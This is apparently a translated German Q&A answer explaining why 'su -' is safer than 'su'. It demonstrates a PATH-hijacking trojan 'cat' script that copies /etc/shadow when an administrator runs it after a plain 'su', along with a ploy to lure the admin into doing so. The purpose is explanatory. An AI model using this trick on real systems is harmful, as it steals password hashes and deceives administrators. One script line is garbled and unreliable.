Ich verstehe nicht, warum su -
wird gegenüber su
bevorzugt um sich als root anzumelden.
Akzeptierte Antwort:
su -
ruft nach dem Benutzerwechsel eine Login-Shell auf. Eine Login-Shell setzt die meisten Umgebungsvariablen zurück und bietet so eine saubere Basis.
su
wechselt einfach den Benutzer und stellt eine normale Shell mit einer Umgebung bereit, die fast dieselbe ist wie beim alten Benutzer.
Stellen Sie sich vor, Sie sind ein Softwareentwickler mit normalem Benutzerzugriff auf eine Maschine und Ihr ignoranter Administrator gibt Ihnen einfach keinen Root-Zugriff. Lass uns ihn (hoffentlich) austricksen.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Jetzt fragen Sie Ihren Administrator, warum Sie nicht cat
können die Dummy-Datei in Ihrem Home-Ordner, es funktioniert einfach nicht!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Wenn Ihr Administrator nicht so schlau oder einfach nur ein bisschen faul ist, kommt er vielleicht an Ihren Schreibtisch und versucht es mit seinen Superuser-Befugnissen:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Wow! Danke, Super-Admin!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Er, er.
Sie haben vielleicht bemerkt, dass der beschädigte $PATH
Variable wurde nicht zurückgesetzt. Dies wäre nicht passiert, wenn der Admin su -
aufgerufen hätte stattdessen.